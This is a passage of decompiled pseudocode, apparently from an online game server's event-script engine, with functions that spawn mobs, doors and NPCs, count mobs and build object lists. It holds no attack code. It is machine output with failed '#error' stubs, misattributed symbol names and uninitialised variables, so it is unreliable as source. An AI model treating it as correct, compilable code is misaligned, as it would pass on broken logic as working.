mobhnd; // [sp+4h] [bp-14h]@1 FunctionEntarance _; // [sp+8h] [bp-10h]@1 int v12; // [sp+14h] [bp-4h]@1 _.fe_FunctionCode = "PineEventScriptNode::SysFuncShineChange2Mob::sfb_Calculate"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "PineEventScriptNode::SysFuncShineChange2Mob::sfb_Calculate"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "PineEventScriptNode::SysFuncShineChange2Mob::sfb_Calculate"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v12 = 0; v4 = ShineObjectManager::som_AllocObject(&shineobjmanager, &mobhnd, 5u); if ( v4 ) { if ( ScriptMobBreeder::smb_ObjectChange(&mobbreeder, ps, v4, mobhnd, argumentlist) ) { v9 = mobhnd; } else { List::l_Free((List *)&shineobjmanager, mobhnd); v9 = 65535; } v6 = PineScriptToken::pst_Clear(buffer); v7 = PineScriptToken::pst_MergeNumber(v6, v9); --funcallanalizer.fca_stackpoint; v12 = -1; v8 = v7; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "PineEventScriptNode::SysFuncShineChange2Mob::sfb_Calculate"); result = v8; } else { AssertClass::ac_AssertFail( &shineassert, "PineEventScriptNode::SysFuncShineChange2Mob::sfb_Calculate : Too many mob", 0); --funcallanalizer.fca_stackpoint; v12 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "PineEventScriptNode::SysFuncShineChange2Mob::sfb_Calculate"); result = 0; } return result; } //----- (004C7B10) -------------------------------------------------------- PineScriptToken *__thiscall PineEventScriptNode::SysFuncShineChange2Door::sfb_Calculate(PineEventScriptNode::SysFuncShineChange2Door *this, PineScriptToken *buffer, PineScriptStack::ProcessStack *ps, PineEventScriptNode::ArgumentList *argumentlist) { #593 *v4; // eax@1 PineScriptToken *result; // eax@2 PineScriptToken *v6; // eax@6 PineScriptToken *v7; // eax@6 PineScriptToken *v8; // esi@6 int v9; // [sp-8h] [bp-20h]@4 unsigned __int16 mobhnd; // [sp+4h] [bp-14h]@1 FunctionEntarance _; // [sp+8h] [bp-10h]@1 int v12; // [sp+14h] [bp-4h]@1 _.fe_FunctionCode = "PineEventScriptNode::SysFuncShineChange2Door::sfb_Calculate"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "PineEventScriptNode::SysFuncShineChange2Door::sfb_Calculate"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "PineEventScriptNode::SysFuncShineChange2Door::sfb_Calculate"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v12 = 0; v4 = ShineObjectManager::som_AllocObject(&shineobjmanager, &mobhnd, 7u); if ( v4 ) { if ( ScriptMobBreeder::smb_ObjectChange(&mobbreeder, ps, v4, mobhnd, argumentlist) ) { v9 = mobhnd; } else { List::l_Free((List *)&shineobjmanager, mobhnd); v9 = 65535; } v6 = PineScriptToken::pst_Clear(buffer); v7 = PineScriptToken::pst_MergeNumber(v6, v9); --funcallanalizer.fca_stackpoint; v12 = -1; v8 = v7; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "PineEventScriptNode::SysFuncShineChange2Door::sfb_Calculate"); result = v8; } else { AssertClass::ac_AssertFail( &shineassert, "PineEventScriptNode::SysFuncShineChange2Door::sfb_Calculate : Too many mob", 0); --funcallanalizer.fca_stackpoint; v12 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "PineEventScriptNode::SysFuncShineChange2Door::sfb_Calculate"); result = 0; } return result; } //----- (004C7C50) -------------------------------------------------------- PineScriptToken *__thiscall PineEventScriptNode::SysFuncShineChange2NPC::sfb_Calculate(PineEventScriptNode::SysFuncShineChange2NPC *this, PineScriptToken *buffer, PineScriptStack::ProcessStack *ps, PineEventScriptNode::ArgumentList *argumentlist) { #593 *v4; // eax@1 PineScriptToken *result; // eax@2 PineScriptToken *v6; // eax@6 PineScriptToken *v7; // eax@6 PineScriptToken *v8; // esi@6 int v9; // [sp-8h] [bp-20h]@4 unsigned __int16 mobhnd; // [sp+4h] [bp-14h]@1 FunctionEntarance _; // [sp+8h] [bp-10h]@1 int v12; // [sp+14h] [bp-4h]@1 _.fe_FunctionCode = "PineEventScriptNode::SysFuncShineChange2NPC::sfb_Calculate"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "PineEventScriptNode::SysFuncShineChange2NPC::sfb_Calculate"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "PineEventScriptNode::SysFuncShineChange2NPC::sfb_Calculate"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v12 = 0; v4 = ShineObjectManager::som_AllocObject(&shineobjmanager, &mobhnd, 4u); if ( v4 ) { if ( ScriptMobBreeder::smb_ObjectChange(&mobbreeder, ps, v4, mobhnd, argumentlist) ) { v9 = mobhnd; } else { List::l_Free((List *)&shineobjmanager, mobhnd); v9 = 65535; } v6 = PineScriptToken::pst_Clear(buffer); v7 = PineScriptToken::pst_MergeNumber(v6, v9); --funcallanalizer.fca_stackpoint; v12 = -1; v8 = v7; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "PineEventScriptNode::SysFuncShineChange2NPC::sfb_Calculate"); result = v8; } else { AssertClass::ac_AssertFail( &shineassert, "PineEventScriptNode::SysFuncShineChange2NPC::sfb_Calculate : Too many mob", 0); --funcallanalizer.fca_stackpoint; v12 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "PineEventScriptNode::SysFuncShineChange2NPC::sfb_Calculate"); result = 0; } return result; } //----- (004C7D90) -------------------------------------------------------- PineScriptToken *__thiscall PineEventScriptNode::SysFuncShineCount::sfb_Calculate(PineEventScriptNode::SysFuncShineCount *this, PineScriptToken *buffer, PineScriptStack::ProcessStack *ps, PineEventScriptNode::ArgumentList *argumentlist) { int v4; // edi@2 void *v5; // ecx@2 const char *v6; // eax@7 unsigned int v7; // eax@7 signed __int16 v8; // si@7 const char *v9; // eax@9 int v10; // esi@10 PineScriptToken *v11; // eax@16 PineScriptToken *v12; // esi@16 AxialListIterator *v14; // [sp-4h] [bp-24Ch]@6 int almc; // [sp+10h] [bp-238h]@2 __int16 v16; // [sp+14h] [bp-234h]@2 int v17; // [sp+18h] [bp-230h]@2 int v18; // [sp+1Ch] [bp-22Ch]@2 int v19; // [sp+20h] [bp-228h]@2 char (__thiscall *v20)(AxialListMobCounter *, #593 *, #593 *); // [sp+24h] [bp-224h]@2 PineScriptToken *v21; // [sp+28h] [bp-220h]@1 FunctionEntarance _; // [sp+2Ch] [bp-21Ch]@1 PineScriptToken mobindex; // [sp+30h] [bp-218h]@1 PineScriptToken thisa; // [sp+130h] [bp-118h]@1 unsigned int v25; // [sp+234h] [bp-14h]@1 int v26; // [sp+244h] [bp-4h]@1 int v27; // [sp+248h] [bp+0h]@1 v25 = (unsigned int)&v27 ^ __security_cookie; v21 = buffer; _.fe_FunctionCode = "PineEventScriptNode::SysFuncShineCount::sfb_Calculate"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "PineEventScriptNode::SysFuncShineCount::sfb_Calculate"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "PineEventScriptNode::SysFuncShineCount::sfb_Calculate"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v26 = 0; PineScriptToken::pst_Clear(&mobindex); LOBYTE(v26) = 1; memcpy(&thisa, PineEventScriptNode::ArgumentList::al_GetArgument(argumentlist, 0, &mobindex, ps), sizeof(thisa)); LOBYTE(v26) = 2; if ( PineScriptToken::operator__(&thisa, "player") ) { AxialListIterator::AxialListIterator((AxialListIterator *)&almc); v4 = (int)AxialListMobCounter::_vftable_; almc = (int)AxialListMobCounter::_vftable_; v16 = -1; v17 = 0; v18 = 0; v19 = 99999; v20 = AxialListMobCounter::ala_SearchPly; v5 = *(void **)(*(_DWORD *)&ps->gap10114[4] + 77292); LOBYTE(v26) = 3; if ( v5 != 0 ) ShineObjectClass::ShineObject::so_AllInMap(v5, (int)&almc, 0); else AssertClass::ac_AssertFail(&shineassert, "Movie::Theater::t_AllInMap : Null flag", 0); goto LABEL_15; } if ( PineScriptToken::operator__(&thisa, "all") ) { AxialListIterator::AxialListIterator((AxialListIterator *)&almc); v4 = (int)AxialListMobCounter::_vftable_; almc = (int)AxialListMobCounter::_vftable_; v16 = -1; v17 = 0; v18 = 0; v19 = 99999; v20 = AxialListMobCounter::ala_SearchAll; LOBYTE(v26) = 4; v14 = (AxialListIterator *)&almc; LABEL_14: Movie::Theater::t_AllInMap(*(Movie::Theater **)&ps->gap10114[4], v14); LABEL_15: v10 = v18; LOBYTE(v26) = 2; almc = v4; AxialListNearGateFind::_AxialListNearGateFind((AxialListNearGateFind *)&almc); goto LABEL_16; } MoveManager::MoveManager((DiceTaiSai *)&mobindex); v7 = BTree::operator__(&mobdatabox.mdb_btree, v6); v8 = -1; if ( v7 != -1 ) v8 = v7; MoveManager::MoveManager((DiceTaiSai *)&mobindex); if ( !ps_assert(v8 != -1, "PineEventScriptNode::SysFuncShineCount::sfb_Calculate : MobName wrong", v9) ) { AxialListIterator::AxialListIterator((AxialListIterator *)&almc); v4 = (int)AxialListMobCounter::_vftable_; almc = (int)AxialListMobCounter::_vftable_; v16 = v8; v17 = 0; v18 = 0; v19 = 99999; v20 = AxialListMobCounter::ala_SearchAll; if ( v8 != -1 ) v20 = AxialListMobCounter::ala_SearchMob; LOBYTE(v26) = 5; v14 = (AxialListIterator *)&almc; goto LABEL_14; } v10 = 0; LABEL_16: LOBYTE(v26) = 1; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&thisa); v11 = PineScriptToken::pst_Clear(v21); v12 = PineScriptToken::pst_MergeNumber(v11, v10); LOBYTE(v26) = 0; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&mobindex); --funcallanalizer.fca_stackpoint; v26 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "PineEventScriptNode::SysFuncShineCount::sfb_Calculate"); return v12; } // 651310: using guessed type int (__stdcall *AxialListMobCounter___vftable_[3])(int, int, int distancesquar); //----- (004C8070) -------------------------------------------------------- PineScriptToken *__thiscall PineEventScriptNode::SysFuncShineRestSecond::sfb_Calculate(PineEventScriptNode::SysFuncShineRestSecond *this, PineScriptToken *buffer, PineScriptStack::ProcessStack *ps, PineEventScriptNode::ArgumentList *argumentlist) { int v4; // ST00_4@1 PineScriptToken *v5; // eax@1 PineScriptToken *v6; // eax@1 PineScriptToken *v7; // esi@1 FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "PineEventScriptNode::SysFuncShineRestSecond::sfb_Calculate"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "PineEventScriptNode::SysFuncShineRestSecond::sfb_Calculate"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = Movie::TimeLimit::tl_GetTimeLimit_Second((Movie::TimeLimit *)(*(_DWORD *)&ps->gap10114[4] + 66108)); v5 = PineScriptToken::pst_Clear(buffer); v6 = PineScriptToken::pst_MergeNumber(v5, v4); --funcallanalizer.fca_stackpoint; v7 = v6; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "PineEventScriptNode::SysFuncShineRestSecond::sfb_Calculate"); return v7; } //----- (004C8130) -------------------------------------------------------- #error "4C8130: undefined or illegal type '#593' (funcsize=157)" //----- (004C8420) -------------------------------------------------------- #error "4C8420: undefined or illegal type '#593' (funcsize=119)" //----- (004C8610) -------------------------------------------------------- PineScriptToken *__thiscall PineEventScriptNode::SysFuncShineDeadNumber::sfb_Calculate(PineEventScriptNode::SysFuncShineDeadNumber *this, PineScriptToken *buffer, PineScriptStack::ProcessStack *ps, PineEventScriptNode::ArgumentList *argumentlist) { PineScriptToken *v4; // eax@1 const char *v5; // eax@3 unsigned int v6; // eax@3 unsigned __int16 v7; // si@3 const char *v8; // eax@5 int v9; // eax@7 int v10; // eax@8 int v11; // ST10_4@10 PineScriptToken *v12; // eax@10 PineScriptToken *result; // eax@11 FunctionEntarance _; // [sp+10h] [bp-114h]@1 PineScriptToken mobindex; // [sp+14h] [bp-110h]@1 unsigned int v16; // [sp+114h] [bp-10h]@1 int v17; // [sp+120h] [bp-4h]@1 v16 = (unsigned int)&_ ^ __security_cookie; _.fe_FunctionCode = "PineEventScriptNode::SysFuncShineDeadNumber::sfb_Calculate"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "PineEventScriptNode::SysFuncShineDeadNumber::sfb_Calculate"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "PineEventScriptNode::SysFuncShineDeadNumber::sfb_Calculate"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v17 = 0; PineScriptToken::pst_Clear(&mobindex); LOBYTE(v17) = 1; v4 = PineEventScriptNode::ArgumentList::al_GetArgument(argumentlist, 0, &mobindex, ps); if ( ps_assert(v4 != 0, "PineEventScriptNode::SysFuncShineDeadNumber::sfb_Calculate : Argument err", 0) ) { LOBYTE(v17) = 0; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&mobindex); --funcallanalizer.fca_stackpoint; v17 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "PineEventScriptNode::SysFuncShineDeadNumber::sfb_Calculate"); } else { MoveManager::MoveManager((DiceTaiSai *)&mobindex); v6 = BTree::operator__(&mobdatabox.mdb_btree, v5); v7 = -1; if ( v6 != -1 ) v7 = v6; MoveManager::MoveManager((DiceTaiSai *)&mobindex); if ( ps_assert(v7 != -1, "PineEventScriptNode::SysFuncShineCount::sfb_Calculate : MobName wrong", v8) ) { LOBYTE(v17) = 0; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&mobindex); --funcallanalizer.fca_stackpoint; v17 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "PineEventScriptNode::SysFuncShineDeadNumber::sfb_Calculate"); } else { v9 = *(_DWORD *)(*(_DWORD *)&ps->gap10114[4] + 77288); if ( v9 ) v10 = MobDeadCount::mdc_DeadCountGet((MobDeadCount *)(v9 + 72), v7); else v10 = 0; v11 = v10; v12 = PineScriptToken::pst_Clear(buffer); PineScriptToken::pst_MergeNumber(v12, v11); LOBYTE(v17) = 0; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&mobindex); --funcallanalizer.fca_stackpoint; v17 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "PineEventScriptNode::SysFuncShineDeadNumber::sfb_Calculate"); } } __security_check_cookie((unsigned int)&_ ^ v16); return result; } //----- (004C8810) -------------------------------------------------------- PineScriptToken *__thiscall PineEventScriptNode::SysFuncShineCircularScatter::sfb_Calculate(PineEventScriptNode::SysFuncShineCircularScatter *this, PineScriptToken *buffer, PineScriptStack::ProcessStack *ps, PineEventScriptNode::ArgumentList *argumentlist) { PineScriptToken *v4; // eax@1 unsigned __int16 v5; // ax@1 DiceTaiSaiDividind *v6; // ecx@1 PineScriptToken *v7; // eax@3 unsigned __int16 v8; // ax@3 int v9; // ebp@4 PineScriptToken *v10; // eax@4 int v11; // eax@7 int v12; // ST10_4@7 int v13; // ST08_4@7 PineScriptToken *v14; // eax@7 PineScriptToken *v15; // eax@7 PineScriptToken *v16; // eax@7 PineScriptToken *result; // eax@8 PineScriptToken *thisa; // [sp+10h] [bp-130h]@1 int x; // [sp+14h] [bp-12Ch]@3 int loc; // [sp+18h] [bp-128h]@7 int num; // [sp+1Ch] [bp-124h]@7 FunctionEntarance _; // [sp+20h] [bp-120h]@1 MobRegenClass::MobRegenLoc_Circular mc; // [sp+24h] [bp-11Ch]@7 PineScriptToken token; // [sp+30h] [bp-110h]@1 unsigned int v25; // [sp+130h] [bp-10h]@1 int v26; // [sp+13Ch] [bp-4h]@1 v25 = (unsigned int)&thisa ^ __security_cookie; thisa = buffer; _.fe_FunctionCode = "PineEventScriptNode::SysFuncShineCircularScatter::sfb_Calculate"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "PineEventScriptNode::SysFuncShineCircularScatter::sfb_Calculate"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "PineEventScriptNode::SysFuncShineCircularScatter::sfb_Calculate"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v26 = 0; PineScriptToken::pst_Clear(&token); LOBYTE(v26) = 1; v4 = PineEventScriptNode::ArgumentList::al_GetArgument(argumentlist, 0, &token, ps); v5 = ps_assert(v4 != 0, "PineEventScriptNode::SysFuncShineCircularScatter::sfb_Calculate : Argument err", 0); v6 = (DiceTaiSaiDividind *)&token; if ( v5 || (x = PineScriptToken::pst_GetNumber(&token, 0), v7 = PineEventScriptNode::ArgumentList::al_GetArgument(argumentlist, 1u, &token, ps), v8 = ps_assert(v7 != 0, "PineEventScriptNode::SysFuncShineCircularScatter::sfb_Calculate : Argument err", 0), v6 = (DiceTaiSaiDividind *)&token, v8) ) { LOBYTE(v26) = 0; ShineObjectClass::ShineMobileObject::smo_ChineCastCut(v6); v26 = -1; } else { v9 = PineScriptToken::pst_GetNumber(&token, 0); v10 = PineEventScriptNode::ArgumentList::al_GetArgument(argumentlist, 2u, &token, ps); if ( !ps_assert(v10 != 0, "PineEventScriptNode::SysFuncShineCircularScatter::sfb_Calculate : Argument err", 0) ) { v11 = PineScriptToken::pst_GetNumber(&token, 0); MobRegenClass::MobRegenLoc_Circular::MobRegenLoc_Circular(&mc, x, v9, v11); LOBYTE(v26) = 2; MobRegenClass::MobRegenLoc_Circular::mrlc_Get(&mc, (SHINE_XY_TYPE *)&loc); v12 = num; v13 = loc; v14 = PineScriptToken::pst_Clear(thisa); v15 = PineScriptToken::pst_MergeNumber(v14, v13); v16 = PineScriptToken::pst_MergeString(v15, (char *)&stru_63450C); PineScriptToken::pst_MergeNumber(v16, v12); LOBYTE(v26) = 1; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&mc); LOBYTE(v26) = 0; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&token); --funcallanalizer.fca_stackpoint; v26 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "PineEventScriptNode::SysFuncShineCircularScatter::sfb_Calculate"); goto LABEL_8; } LOBYTE(v26) = 0; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&token); v26 = -1; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "PineEventScriptNode::SysFuncShineCircularScatter::sfb_Calculate"); LABEL_8: __security_check_cookie((unsigned int)&thisa ^ v25); return result; } //----- (004C8A60) -------------------------------------------------------- PineScriptToken *__thiscall PineEventScriptNode::SysFuncShineRemoveFisrt::sfb_Calculate(PineEventScriptNode::SysFuncShineRemoveFisrt *this, PineScriptToken *buffer, PineScriptStack::ProcessStack *ps, PineEventScriptNode::ArgumentList *argumentlist) { PineScriptToken *v4; // eax@1 int v5; // eax@3 int v6; // ebp@3 PineScriptToken *v7; // eax@3 PineScriptToken *v8; // eax@4 PineScriptToken *v9; // edi@4 int v10; // esi@6 char v11; // al@8 int i; // ebp@13 char v13; // al@14 PineScriptToken *result; // eax@17 FunctionEntarance _; // [sp+10h] [bp-114h]@1 PineScriptToken token; // [sp+14h] [bp-110h]@1 unsigned int v17; // [sp+114h] [bp-10h]@1 int v18; // [sp+120h] [bp-4h]@1 v17 = (unsigned int)&_ ^ __security_cookie; _.fe_FunctionCode = "PineEventScriptNode::SysFuncShineRemoveFisrt::sfb_Calculate"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "PineEventScriptNode::SysFuncShineRemoveFisrt::sfb_Calculate"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "PineEventScriptNode::SysFuncShineRemoveFisrt::sfb_Calculate"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v18 = 0; PineScriptToken::pst_Clear(&token); LOBYTE(v18) = 1; v4 = PineEventScriptNode::ArgumentList::al_GetArgument(argumentlist, 1u, &token, ps); if ( ps_assert(v4 != 0, "PineEventScriptNode::SysFuncShineRemoveFisrt::sfb_Calculate : Argument err", 0) ) { LOBYTE(v18) = 0; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&token); --funcallanalizer.fca_stackpoint; v18 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "PineEventScriptNode::SysFuncShineRemoveFisrt::sfb_Calculate"); } else { MoveManager::MoveManager((DiceTaiSai *)&token); v6 = *(_BYTE *)v5; v7 = PineEventScriptNode::ArgumentList::al_GetArgument(argumentlist, 0, &token, ps); if ( !ps_assert(v7 != 0, "PineEventScriptNode::SysFuncShineRemoveFisrt::sfb_Calculate : Argument err", 0) && (v8 = PineScriptStack::ProcessStack::ps_FindVariable(ps, &token), (v9 = v8) != 0) ) { v10 = 0; if ( PineScriptToken::pst_GetChar(v8, 0) != v6 ) { do { if ( !PineScriptToken::pst_GetChar(v9, v10) ) break; v11 = PineScriptToken::pst_GetChar(v9, v10); PineScriptToken::pst_SetChar(buffer, v10++, (unsigned __int8)v11); } while ( PineScriptToken::pst_GetChar(v9, v10) != v6 ); } PineScriptToken::pst_SetChar(buffer, v10, 0); for ( ; PineScriptToken::pst_GetChar(v9, v10) == v6; ++v10 ) ; if ( PineScriptToken::pst_GetChar(v9, v10) ) { for ( i = 0; PineScriptToken::pst_GetChar(v9, v10); ++v10 ) { v13 = PineScriptToken::pst_GetChar(v9, v10); PineScriptToken::pst_SetChar(v9, i++, (unsigned __int8)v13); } PineScriptToken::pst_SetChar(v9, i, 0); } else { PineScriptToken::pst_Clear(v9); } LOBYTE(v18) = 0; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&token); --funcallanalizer.fca_stackpoint; v18 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "PineEventScriptNode::SysFuncShineRemoveFisrt::sfb_Calculate"); } else { LOBYTE(v18) = 0; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&token); --funcallanalizer.fca_stackpoint; v18 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "PineEventScriptNode::SysFuncShineRemoveFisrt::sfb_Calculate"); } } __security_check_cookie((unsigned int)&_ ^ v17); return result; } //----- (004C8CF0) -------------------------------------------------------- #error "4C8CF0: undefined or illegal type '#593' (funcsize=56)" //----- (004C8DE0) -------------------------------------------------------- PineScriptToken *__thiscall AxialListObjectList::alol_MakeList(AxialListObjectList *this, PineScriptToken *buffer) { AxialListObjectList *v2; // ebx@1 int v3; // edi@1 int *v4; // ebp@2 int v5; // eax@3 int v6; // edx@3 char v7; // cl@4 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "AxialListObjectList::alol_MakeList"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "AxialListObjectList::alol_MakeList"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = 0; PineScriptToken::pst_Clear(buffer); if ( v2->alol_Pointer > 0 ) { v4 = (int *)v2->alol_Array; do { MoveManager::MoveManager((DiceTaiSai *)buffer); v6 = v5 + 1; do v7 = *(_BYTE *)v5++; while ( v7 ); if ( (unsigned int)(v5 - v6) >= 0xF1 ) break; PineScriptToken::pst_MergeNumber(buffer, *(_WORD *)v4); PineScriptToken::pst_MergeString(buffer, (char *)&stru_63450C); ++v3; v4 += 2; } while ( v3 < v2->alol_Pointer ); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "AxialListObjectList::alol_MakeList"); return buffer; } //----- (004C8ED0) -------------------------------------------------------- PineScriptToken *__thiscall PineEventScriptNode::SysFuncShineGetObjectList::sfb_Calculate(PineEventScriptNode::SysFuncShineGetObjectList *this, PineScriptToken *buffer, PineScriptStack::ProcessStack *ps, PineEventScriptNode::ArgumentList *argumentlist) { PineScriptToken *v4; // eax@1 unsigned __int16 v5; // ax@1 DiceTaiSaiDividind *v6; // ecx@1 unsigned __int16 v7; // ax@2 const char *v8; // eax@2 int v10; // ebx@5 PineScriptToken *v11; // esi@16 const char *v12; // eax@19 unsigned int k; // [sp+10h] [bp-440h]@5 void *v14; // [sp+14h] [bp-43Ch]@2 FunctionEntarance _; // [sp+18h] [bp-438h]@1 PineScriptToken *v16; // [sp+1Ch] [bp-434h]@1 PineEventScriptNode::ArgumentList *v17; // [sp+20h] [bp-430h]@1 PineScriptStack::ProcessStack *v18; // [sp+24h] [bp-42Ch]@1 int (__stdcall **alol)(int, int, int); // [sp+28h] [bp-428h]@16 int v20; // [sp+2Ch] [bp-424h]@16 int v21; // [sp+230h] [bp-220h]@16 PineScriptToken token; // [sp+238h] [bp-218h]@1 PineScriptToken thisa; // [sp+338h] [bp-118h]@6 unsigned int v24; // [sp+43Ch] [bp-14h]@1 int v25; // [sp+44Ch] [bp-4h]@1 int v26; // [sp+450h] [bp+0h]@1 v24 = (unsigned int)&v26 ^ __security_cookie; v16 = buffer; v18 = ps; v17 = argumentlist; _.fe_FunctionCode = "PineEventScriptNode::SysFuncShineGetObjectList::sfb_Calculate"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "PineEventScriptNode::SysFuncShineGetObjectList::sfb_Calculate"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "PineEventScriptNode::SysFuncShineGetObjectList::sfb_Calculate"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v25 = 0; PineScriptToken::pst_Clear(&token); LOBYTE(v25) = 1; v4 = PineEventScriptNode::ArgumentList::al_GetArgument(argumentlist, 0, &token, ps); v5 = ps_assert(v4 != 0, "PineEventScriptNode::SysFuncShineGetObjectList::sfb_Calculate : Argument err", 0); v6 = (DiceTaiSaiDividind *)&token; if ( v5 ) goto LABEL_4; v7 = PineScriptToken::pst_GetNumber(&token, 0); v14 = (void *)ShineObjectManager::som_GetObject(&shineobjmanager, v7); MoveManager::MoveManager((DiceTaiSai *)&token); if ( ps_assert(v14 != 0, "Invalid Object", v8) ) { v6 = (DiceTaiSaiDividind *)&token; LABEL_4: LOBYTE(v25) = 0; ShineObjectClass::ShineMobileObject::smo_ChineCastCut(v6); --funcallanalizer.fca_stackpoint; v25 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "PineEventScriptNode::SysFuncShineGetObjectList::sfb_Calculate"); return 0; } v10 = 0; k = 1; if ( !PineEventScriptNode::ArgumentList::al_GetArgument(argumentlist, 1u, &token, ps) ) { LABEL_16: AxialListIterator::AxialListIterator((AxialListIterator *)&alol); alol = &AxialListObjectList::_vftable_; v20 = v10; v21 = 0; LOBYTE(v25) = 3; ShineObjectClass::ShineObject::so_AllInMap(v14, (int)&alol, 1); v11 = AxialListObjectList::alol_MakeList((AxialListObjectList *)&alol, v16); LOBYTE(v25) = 1; alol = &AxialListObjectList::_vftable_; AxialListNearGateFind::_AxialListNearGateFind((AxialListNearGateFind *)&alol); LOBYTE(v25) = 0; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&token); --funcallanalizer.fca_stackpoint; v25 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "PineEventScriptNode::SysFuncShineGetObjectList::sfb_Calculate"); return v11; } while ( 1 ) { PineScriptToken::pst_ToLower(&token); memcpy(&thisa, &token, sizeof(thisa)); LOBYTE(v25) = 2; if ( PineScriptToken::operator__(&thisa, byte_635E1E) ) { LOBYTE(v25) = 1; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&thisa); goto LABEL_16; } if ( !PineScriptToken::operator__(&thisa, "npc") ) break; v10 |= 0x10u; LABEL_15: LOBYTE(v25) = 1; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&thisa); ++k; if ( !PineEventScriptNode::ArgumentList::al_GetArgument(v17, k, &token, v18) ) goto LABEL_16; } if ( PineScriptToken::operator__(&thisa, "bandit") ) { v10 |= 0x100u; goto LABEL_15; } if ( PineScriptToken::operator__(&thisa, "mob") ) { v10 |= 0x20u; goto LABEL_15; } if ( PineScriptToken::operator__(&thisa, "player") ) { v10 |= 4u; goto LABEL_15; } MoveManager::MoveManager((DiceTaiSai *)&token); ps_assert(0, "Invalid flag", v12); LOBYTE(v25) = 1; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&thisa); LOBYTE(v25) = 0; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&token); v25 = -1; FunctionEntarance::_FunctionEntarance(&_); return 0; } // 651318: using guessed type int (__stdcall *AxialListObjectList___vftable_)(int, int, int distancesquar); //----- (004C9260) -------------------------------------------------------- void __thiscall AxialListKQResult::ALKQR::ALKQR(AxialListKQResult::ALKQR *this) { PROTO_NC_CHAR_WEDDINGDATA_ACK::__unnamed::__unnamed((MemoryQueueGuildReName *)&this->scorestr); } //----- (004C9270) -------------------------------------------------------- void __thiscall 